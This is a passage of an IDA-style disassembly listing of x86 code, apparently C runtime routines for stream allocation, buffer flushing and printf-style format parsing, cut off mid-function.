; =============== S U B	R O U T	I N E =======================================



sub_41FD3D	proc near		; CODE XREF: sub_41BE82p
		mov	edx, dword_4DD040
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FDAE
		mov	ebx, dword_4DC02C
		mov	edi, ebx


loc_41FD59:				; CODE XREF: sub_41FD3D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41FD74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FD6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FD59
		jmp	short loc_41FDAE
; ---------------------------------------------------------------------------


loc_41FD6F:				; CODE XREF: sub_41FD3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FD3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BEB5
		pop	ecx
		mov	ecx, dword_4DC02C
		mov	[edi+ecx], eax
		mov	eax, dword_4DC02C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FDAE
		mov	esi, edi


loc_41FD98:				; CODE XREF: sub_41FD3D+35j
		cmp	esi, ebp
		jz	short loc_41FDAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FDAE:				; CODE XREF: sub_41FD3D+12j
					; sub_41FD3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB5	proc near		; CODE XREF: sub_41C0CE+17p
					; sub_41C0CE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FDD3
		mov	ecx, off_43CE88
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FE25
; ---------------------------------------------------------------------------


loc_41FDD3:				; CODE XREF: sub_41FDB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43CE88
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FDF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------


loc_41FDF8:				; CODE XREF: sub_41FDB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FE01:				; CODE XREF: sub_41FDB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4244F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FE21
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FDB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FE25:				; CODE XREF: sub_41FDB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE2A	proc near		; CODE XREF: sub_41C266+46p
					; sub_41C360+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FF33
		test	al, 40h
		jnz	loc_41FF33
		test	al, 1
		jz	short loc_41FE62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FF33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FE62:				; CODE XREF: sub_41FE2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FE9C
		cmp	esi, offset dword_43D598
		jz	short loc_41FE8A
		cmp	esi, offset dword_43D5B8
		jnz	short loc_41FE95


loc_41FE8A:				; CODE XREF: sub_41FE2A+56j
		push	ebx
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jnz	short loc_41FE9C


loc_41FE95:				; CODE XREF: sub_41FE2A+5Ej
		push	esi
		call	sub_4241F7
		pop	ecx


loc_41FE9C:				; CODE XREF: sub_41FE2A+4Ej
					; sub_41FE2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FF09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FECC
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FEFF
; ---------------------------------------------------------------------------


loc_41FECC:				; CODE XREF: sub_41FE2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FEE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD060[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FEEC
; ---------------------------------------------------------------------------


loc_41FEE7:				; CODE XREF: sub_41FE2A+A5j
		mov	eax, offset dword_43D4E0


loc_41FEEC:				; CODE XREF: sub_41FE2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FEFF
		push	2
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch


loc_41FEFF:				; CODE XREF: sub_41FE2A+A0j
					; sub_41FE2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------


loc_41FF09:				; CODE XREF: sub_41FE2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FF1D:				; CODE XREF: sub_41FE2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FF29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FF38
; ---------------------------------------------------------------------------


loc_41FF29:				; CODE XREF: sub_41FE2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FF3B
; ---------------------------------------------------------------------------


loc_41FF33:				; CODE XREF: sub_41FE2A+10j
					; sub_41FE2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FF38:				; CODE XREF: sub_41FE2A+FDj
		or	eax, 0FFFFFFFFh


loc_41FF3B:				; CODE XREF: sub_41FE2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FE2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF3F	proc near		; CODE XREF: sub_41C266+29p
					; sub_41C360+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420658
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FF73
; ---------------------------------------------------------------------------


loc_41FF6B:				; CODE XREF: sub_41FF3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FF73:				; CODE XREF: sub_41FF3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420658
		cmp	bl, 20h
		jl	short loc_41FF94
		cmp	bl, 78h
		jg	short loc_41FF94
		movsx	eax, bl
		mov	al, [eax+42771Ch]
		and	eax, 0Fh
		jmp	short loc_41FF96
; ---------------------------------------------------------------------------


loc_41FF94:				; CODE XREF: sub_41FF3F+40j
					; sub_41FF3F+45j
		xor	eax, eax


loc_41FF96:				; CODE XREF: sub_41FF3F+53j
		movsx	eax, byte_42773C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420647	; default
		jmp	off_420660[eax*4] ; switch jump


loc_41FFB4:				; DATA XREF: ___:off_420660o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFCF:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 2
		sub	eax, 20h
		jz	short loc_420012
		sub	eax, 3
		jz	short loc_420009
		sub	eax, 8
		jz	short loc_420000
		dec	eax
		dec	eax
		jz	short loc_41FFF7
		sub	eax, 3
		jnz	loc_420647	; default
		or	[ebp+var_4], 8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFF7:				; CODE XREF: sub_41FF3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420000:				; CODE XREF: sub_41FF3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420009:				; CODE XREF: sub_41FF3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FF3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42001B:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 3
		jnz	short loc_420043
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420647	; default
		or	[ebp+var_4], 4
		neg	eax


loc_42003B:				; CODE XREF: sub_41FF3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420043:				; CODE XREF: sub_41FF3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]


loc_42004C:				; DATA XREF: ___:00432868o
					; ___:00432874o
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42003B
; ---------------------------------------------------------------------------


loc_420052:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	[ebp+var_10], edx ; jumptable 0041FFAD case 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42005A:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 5
		jnz	short loc_42007D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420647	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42007D:				; CODE XREF: sub_41FF3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42008F:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 49h		; jumptable 0041FFAD case 6
		jz	short loc_4200C2
		cmp	bl, 68h
		jz	short loc_4200B9
		cmp	bl, 6Ch
		jz	short loc_4200B0
		cmp	bl, 77h
		jnz	loc_420647	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B0:				; CODE XREF: sub_41FF3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_41FF3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200C2:				; CODE XREF: sub_41FF3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4200DB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4200DB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200DB:				; CODE XREF: sub_41FF3F+186j
					; sub_41FF3F+18Cj
		mov	[ebp+var_30], edx


loc_4200DE:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	ecx, off_43CE88	; jumptable 0041FFAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42010A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_42010A:				; CODE XREF: sub_41FF3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		add	esp, 0Ch
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420122:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 7
		cmp	eax, 67h
		jg	loc_42034A
		cmp	eax, 65h
		jge	loc_4201CD
		cmp	eax, 58h
		jg	loc_42022B
		jz	loc_4203BE
		sub	eax, 43h
		jz	loc_4201EE
		dec	eax
		dec	eax
		jz	short loc_4201C3
		dec	eax
		dec	eax
		jz	short loc_4201C3
		sub	eax, 0Ch
		jnz	loc_420549
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42016C
		or	byte ptr [ebp+var_4+1],	8


loc_42016C:				; CODE XREF: sub_41FF3F+227j
					; sub_41FF3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420179
		mov	esi, 7FFFFFFFh


loc_420179:				; CODE XREF: sub_41FF3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420392
		test	ecx, ecx
		jnz	short loc_4201A1
		mov	ecx, off_43D0A4
		mov	[ebp+var_8], ecx


loc_4201A1:				; CODE XREF: sub_41FF3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4201AA:				; CODE XREF: sub_41FF3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420389
		cmp	word ptr [eax],	0
		jz	loc_420389
		inc	eax
		inc	eax
		jmp	short loc_4201AA
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_41FF3F+212j
					; sub_41FF3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4201CD:				; CODE XREF: sub_41FF3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4202B1
		mov	[ebp+var_10], 6
		jmp	loc_4202BF
; ---------------------------------------------------------------------------


loc_4201EE:				; CODE XREF: sub_41FF3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4201FA
		or	byte ptr [ebp+var_4+1],	8


loc_4201FA:				; CODE XREF: sub_41FF3F+2B5j
					; sub_41FF3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420241
		call	sub_42073B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424663
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420254
		mov	[ebp+var_28], 1
		jmp	short loc_420254
; ---------------------------------------------------------------------------


loc_42022B:				; CODE XREF: sub_41FF3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420262
		sub	eax, 9
		jz	short loc_4201FA
		dec	eax
		jz	loc_420424
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420241:				; CODE XREF: sub_41FF3F+2C5j
		call	sub_42071E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_420254:				; CODE XREF: sub_41FF3F+2E1j
					; sub_41FF3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420262:				; CODE XREF: sub_41FF3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		jz	short loc_4202A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4202A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420294
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420294:				; CODE XREF: sub_41FF3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4202A3:				; CODE XREF: sub_41FF3F+32Fj
					; sub_41FF3F+336j
		mov	eax, off_43D0A0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42033F
; ---------------------------------------------------------------------------


loc_4202B1:				; CODE XREF: sub_41FF3F+29Dj
		jnz	short loc_4202BF
		cmp	bl, 67h
		jnz	short loc_4202BF
		mov	[ebp+var_10], 1


loc_4202BF:				; CODE XREF: sub_41FF3F+2AAj
					; sub_41FF3F:loc_4202B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43D430
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420311
		cmp	[ebp+var_10], 0
		jnz	short loc_420311
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D43C
		pop	ecx


loc_420311:				; CODE XREF: sub_41FF3F+3BCj
					; sub_41FF3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420328
		test	esi, esi
		jnz	short loc_420328
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D434
		pop	ecx


loc_420328:				; CODE XREF: sub_41FF3F+3D5j
					; sub_41FF3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42033E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42033E:				; CODE XREF: sub_41FF3F+3F0j
		push	edi


loc_42033F:				; CODE XREF: sub_41FF3F+36Dj
		call	sub_41B9C0
		pop	ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_42034A:				; CODE XREF: sub_41FF3F+1E9j
		sub	eax, 69h
		jz	loc_420424
		sub	eax, 5
		jz	loc_4203FA
		dec	eax
		jz	loc_4203E7
		dec	eax
		jz	short loc_4203B7
		sub	eax, 3
		jz	loc_42016C
		dec	eax
		dec	eax
		jz	loc_420428
		sub	eax, 3
		jnz	loc_420549
		mov	[ebp+var_2C], 27h
		jmp	short loc_4203C5
; ---------------------------------------------------------------------------


loc_420389:				; CODE XREF: sub_41FF3F+270j
					; sub_41FF3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_420392:				; CODE XREF: sub_41FF3F+24Fj
		test	ecx, ecx
		jnz	short loc_42039F
		mov	ecx, off_43D0A0
		mov	[ebp+var_8], ecx


loc_42039F:				; CODE XREF: sub_41FF3F+455j
		mov	eax, ecx


loc_4203A1:				; CODE XREF: sub_41FF3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4203B0
		cmp	byte ptr [eax],	0
		jz	short loc_4203B0
		inc	eax
		jmp	short loc_4203A1
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_41FF3F+467j
					; sub_41FF3F+46Cj
		sub	eax, ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4203B7:				; CODE XREF: sub_41FF3F+425j
		mov	[ebp+var_10], 8


loc_4203BE:				; CODE XREF: sub_41FF3F+201j
		mov	[ebp+var_2C], 7


loc_4203C5:				; CODE XREF: sub_41FF3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42042F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203E7:				; CODE XREF: sub_41FF3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42042F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203FA:				; CODE XREF: sub_41FF3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420413
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420418
; ---------------------------------------------------------------------------


loc_420413:				; CODE XREF: sub_41FF3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420418:				; CODE XREF: sub_41FF3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420424:				; CODE XREF: sub_41FF3F+2F7j
					; sub_41FF3F+40Ej
		or	[ebp+var_4], 40h


loc_420428:				; CODE XREF: sub_41FF3F+432j
		mov	[ebp+var_C], 0Ah


loc_42042F:				; CODE XREF: sub_41FF3F+491j
					; sub_41FF3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420441
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42072B
		pop	ecx
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_420441:				; CODE XREF: sub_41FF3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420468
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42045D
		call	sub_42071E
		pop	ecx
		movsx	eax, ax


loc_42045A:				; CODE XREF: sub_41FF3F+527j
					; sub_41FF3F+539j
		cdq
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_42045D:				; CODE XREF: sub_41FF3F+510j
		call	sub_42071E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_420468:				; CODE XREF: sub_41FF3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42047A
		call	sub_42071E
		pop	ecx
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_42047A:				; CODE XREF: sub_41FF3F+531j
		call	sub_42071E
		pop	ecx
		xor	edx, edx


loc_420482:				; CODE XREF: sub_41FF3F+500j
					; sub_41FF3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4204A3
		test	edx, edx
		jg	short loc_4204A3
		jl	short loc_420492
		test	eax, eax
		jnb	short loc_4204A3


loc_420492:				; CODE XREF: sub_41FF3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4204A7
; ---------------------------------------------------------------------------


loc_4204A3:				; CODE XREF: sub_41FF3F+547j
					; sub_41FF3F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4204A7:				; CODE XREF: sub_41FF3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4204B0
		and	edi, 0


loc_4204B0:				; CODE XREF: sub_41FF3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4204BF
		mov	[ebp+var_10], 1
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204BF:				; CODE XREF: sub_41FF3F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4204C3:				; CODE XREF: sub_41FF3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4204CD
		and	[ebp+var_1C], 0


loc_4204CD:				; CODE XREF: sub_41FF3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4204D3:				; CODE XREF: sub_41FF3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4204E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42051E


loc_4204E3:				; CODE XREF: sub_41FF3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DD20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DCB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420514
		add	ebx, [ebp+var_2C]


loc_420514:				; CODE XREF: sub_41FF3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4204D3
; ---------------------------------------------------------------------------


loc_42051E:				; CODE XREF: sub_41FF3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420549
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42053C
		test	eax, eax
		jnz	short loc_420549


loc_42053C:				; CODE XREF: sub_41FF3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_420546:				; CODE XREF: sub_41FF3F+35Fj
					; sub_41FF3F+406j ...
		mov	[ebp+var_C], eax


loc_420549:				; CODE XREF: sub_41FF3F+21Bj
					; sub_41FF3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420647	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420581
		test	bh, 1
		jz	short loc_420566
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420566:				; CODE XREF: sub_41FF3F+61Fj
		test	bl, 1
		jz	short loc_420571
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420571:				; CODE XREF: sub_41FF3F+62Aj
		test	bl, 2
		jz	short loc_420581
		mov	[ebp+var_16], 20h


loc_42057A:				; CODE XREF: sub_41FF3F+625j
					; sub_41FF3F+630j
		mov	[ebp+var_1C], 1


loc_420581:				; CODE XREF: sub_41FF3F+61Aj
					; sub_41FF3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4205A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_4205A1:				; CODE XREF: sub_41FF3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4205D3
		test	bl, 4
		jnz	short loc_4205D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4206B5
		add	esp, 10h


loc_4205D3:				; CODE XREF: sub_41FF3F+67Bj
					; sub_41FF3F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42061A
		cmp	[ebp+var_C], 0
